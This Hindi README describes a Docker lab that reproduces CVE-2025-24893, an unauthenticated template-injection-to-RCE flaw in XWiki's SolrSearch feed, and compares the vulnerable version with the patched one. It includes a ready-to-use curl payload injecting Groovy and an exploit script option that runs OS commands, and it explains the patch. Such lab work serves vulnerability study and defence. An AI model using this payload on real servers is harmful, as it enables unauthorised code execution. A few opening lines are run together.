
CVE-2025-24893 को पुनरुत्पादित करने वाली एक स्व-निहित Docker लैब, जो XWiki SolrSearch में एक बिना प्रमाणीकरण वाला SSTI-to-RCE है, और कमजोर बनाम पैच किए गए व्यवहार की तुलना करती है।
एक स्व-निहित Docker लैब जो CVE-2025-24893 का पुनरुत्पादन करती है - XWiki के SolrSearch RSS फ़ीड में सर्वर-साइड टेम्पलेट इंजेक्शन (Server-Side Template Injection), जो बिना प्रमाणीकरण के रिमोट कोड निष्पादन की ओर ले जाता है। यह कमजोर संस्करण 15.10.10 और पैच किया गया संस्करण 15.10.11 चलाती है, ताकि एक ही अनुरोध को एक पर सफल और दूसरे पर विफल दिखाया जा सके।
AI उपकरणों के उपयोग पर ध्यान दें। इस परियोजना को तैयार करने में मैंने दो AI सहायकों --- Anthropic का Claude Opus 4.8 और DeepSeek-V4-Flash-0731 --- का सीमित उपयोग किया: दस्तावेज़ीकरण और दृष्टिकोण अनुसंधान के लिए, कोड समीक्षा के लिए, तथा README.md फ़ाइल और LaTeX रिपोर्ट के शब्दों को परिष्कृत करने के लिए। उनका योगदान नगण्य था और यह पूरी तरह से मेरे अपने निर्णयों के अधीन था।
docker compose उपकमांड, पुराना docker-compose बाइनरी नहीं)। रिपोर्ट के लिए docker --version और docker compose version से संस्करण नोट करें।tomcat:9-jre17, , और शुद्ध-Java JDBC ड्राइवर सभी मल्टी-आर्क हैं।mysql:8.4cve-2025-24893-xwiki/
├── SETUP_GUIDE.md
├── README.md
├── docker-compose.vuln.yml # MySQL 8.4 + XWiki 15.10.10 (vulnerable)
├── docker-compose.patched.yml # MySQL 8.4 + XWiki 15.10.11 (patched)
├── exploit.py # standard-library proof of concept
├── figures/
│ ├── Figure 1.png
│ ├── Figure 2.png
│ ├── Figure 3.png
│ └── Figure 4.png
├── mysql/
│ └── init.sql # privileges for the xwiki DB user
└── xwiki-build/ # image build, pinned to the exact version by SHA-256
├── Dockerfile
├── tomcat/
│ └── setenv.sh
└── xwiki/
├── docker-entrypoint.sh
└── hibernate.cfg.xml
दोनों स्टैक के बीच एकमात्र अंतर XWiki संस्करण का है। बाकी सब कुछ, जिसमें डेटाबेस इमेज और JDBC ड्राइवर शामिल हैं, एक जैसा है, इसलिए व्यवहार में कोई भी बदलाव केवल फिक्स के कारण है और किसी और चीज़ के कारण नहीं।
बिल्ड करें और प्रारंभ करें:
docker compose -f docker-compose.vuln.yml up --build -d
पहला बिल्ड XWiki को डाउनलोड और अनपैक करता है, जिसमें कुछ मिनट लगते हैं। Tomcat द्वारा स्टार्टअप की सूचना देने की प्रतीक्षा करें:
docker compose -f docker-compose.vuln.yml logs -f xwiki # wait for "Server startup in ..."
एकमुश्त पहले-बूट सेटअप पूरा करें: http://localhost:8080 खोलें और Distribution Wizard पूरा करें (डिफ़ॉल्ट XWiki Standard फ्लेवर इंस्टॉल करें)। यह SolrSearch UI प्रदान करता है जिसे एक्सप्लॉइट लक्षित करता है। एंडपॉइंट अतिथियों के लिए सुलभ है, इसलिए हमले के लिए स्वयं किसी लॉगिन की आवश्यकता नहीं होती; यह प्रारंभिक सेटअप ही एकमात्र चरण है जिसमें लॉगिन की आवश्यकता होती है।
एक्सप्लॉइट चलाएँ (बिना प्रमाणीकरण):
python3 exploit.py http://localhost:8080
कमजोर स्टैक पर अपेक्षित आउटपुट:
[+] VULNERABLE: server evaluated Groovy, found 'PoC-CVE-2025-24893-arith=42' in the feed.
वैकल्पिक रूप से, एक रीड-ओनली कमांड से दिखाएँ कि निष्पादन OS तक पहुँचता है:
python3 exploit.py http://localhost:8080 --prove-os
# [+] OS command executed (read-only `id`): uid=0(root) gid=0(root) ...
वही अनुरोध एक साधारण curl वन-लाइनर के रूप में:
curl -s "http://localhost:8080/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22arith%3D%22%2B%2823%2B19%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D" | grep -o 'arith=[0-9]*'
# vulnerable -> prints arith=42
रिपोर्ट के लिए आउटपुट का स्क्रीनशॉट कैप्चर करें, फिर टियर डाउन करें:
docker compose -f docker-compose.vuln.yml down # add -v to also wipe the volumes
docker compose -f docker-compose.patched.yml up --build -d
docker compose -f docker-compose.patched.yml logs -f xwiki # wait for "Server startup in ..."
http://localhost:8080 पर Distribution Wizard फिर से पूरा करें, फिर वही एक्सप्लॉइट चलाएँ:
python3 exploit.py http://localhost:8080
पैच किए गए स्टैक पर अपेक्षित आउटपुट:
[-] NOT vulnerable: 'PoC-CVE-2025-24893-arith=42' absent, payload returned inert (patched or blocked).
यह स्क्रीनशॉट भी लें, फिर रीसेट करें:
docker compose -f docker-compose.patched.yml down -v
15.10.10 में, फ़ीड-आउटपुट ब्लॉक फ़ीड को एक सादे Velocity एक्सप्रेशन ($xwiki.feed.getFeedOutput($feed, 'rss_2.0')) के रूप में आउटपुट करता है, इसलिए फ़ीड - जो उपयोगकर्ता के खोज टेक्स्ट को प्रतिबिंबित करती है - XWiki की रेंडरिंग पाइपलाइन के माध्यम से वापस भेजी जाती है, जहाँ एक एम्बेडेड {{groovy}} मैक्रो निष्पादित हो जाता है। 15.10.11 में, उस ब्लॉक को एक नए rawResponse मैक्रो (SolrSearchMacros.xml पंक्ति 954; मैक्रो templates/macros.vm में परिभाषित है) के कॉल से बदल दिया गया है। rawResponse कंटेंट टाइप को स्पष्ट रूप से सेट करता है (application/rss+xml), फ़ीड के बाइट्स को $response.writer.print(...) से सीधे रिस्पॉन्स में लिखता है, और किसी भी आगे की रेंडरिंग को रोकने के लिए $xcontext.setFinished(true) को कॉल करता है, ताकि फ़ीड यथावत भेजी जाए और एम्बेडेड {{groovy}} ब्लॉक कभी मूल्यांकित न हो। पैच कमिट 67021db9b8ed26c2236a653269302a86bf01ef40, एडवाइज़री GHSA-rr6p-3pfg-562j। एडवाइज़री एक मैन्युअल वर्कअराउंड भी बताती है: Main.SolrSearchMacros को संपादित करके उसी rawResponse पैटर्न का उपयोग करें, जो बिना अपग्रेड किए सिंक को बंद कर देता है।
tomcat:9-jre17, डेटाबेस mysql:8.4, और पोर्ट 8080।docker compose -f <file> down -v से स्थिति रीसेट करें; अगला up शुरू से पुनः-आरंभ करता है।xwiki/xwiki, रूट xwiki-root) केवल इस स्थानीय लैब के लिए हैं।for V in 15.10.10 15.10.11; do
curl -fsSL "https://maven.xwiki.org/releases/org/xwiki/platform/xwiki-platform-distribution-war/$V/xwiki-platform-distribution-war-$V.war" -o x.war
echo "$V $(sha256sum x.war | cut -d' ' -f1)"
done; rm -f x.war
# expect: 15.10.10 fda9b5b4c1f471dc47e8cf2cb72b7550dbe6d6772887201be94c522a13b6078e
# 15.10.11 b69de0d6ae0d2cdd10efcd1913065f750de62b5147f553bc6772e42cc66e2e2c
curl -fsSL "https://repo1.maven.org/maven2/com/mysql/mysql-connector-j/8.4.0/mysql-connector-j-8.4.0.jar" -o j.jar
echo "connector-j 8.4.0 $(sha256sum j.jar | cut -d' ' -f1)"; rm -f j.jar
# expect: d77962877d010777cff997015da90ee689f0f4bb76848340e1488f2b83332af5
xwiki-build/ (Dockerfile, docker-entrypoint.sh, hibernate.cfg.xml, setenv.sh) और mysql/init.sql, XWiki के आधिकारिक बिल्ड https://github.com/xwiki-contrib/docker-xwiki (LGPL-2.1) से अनुकूलित या वेंडर किए गए हैं। Dockerfile अपस्ट्रीम इमेज से तीन छोटे, प्रलेखित तरीकों से भिन्न है: (1) XWiki और JDBC संस्करण तथा चेकसम बिल्ड आर्ग्स के रूप में पास किए जाते हैं, इसलिए एक ही फ़ाइल कमजोर और पैच की गई दोनों इमेज बनाती है; (2) एक स्पष्ट chmod +x यह सुनिश्चित करता है कि एंट्रीपॉइंट निष्पादन योग्य है, भले ही फ़ाइलों को अनज़िप या ट्रांसफर करने पर Unix अनुमतियाँ खो जाएँ; और (3) .env फ़ाइल (यहाँ उपयोग नहीं की गई) का संदर्भ देने वाली एक पुरानी अपस्ट्रीम टिप्पणी को सही किया गया। XWiki की कॉपीराइट XWiki Development Team के पास है।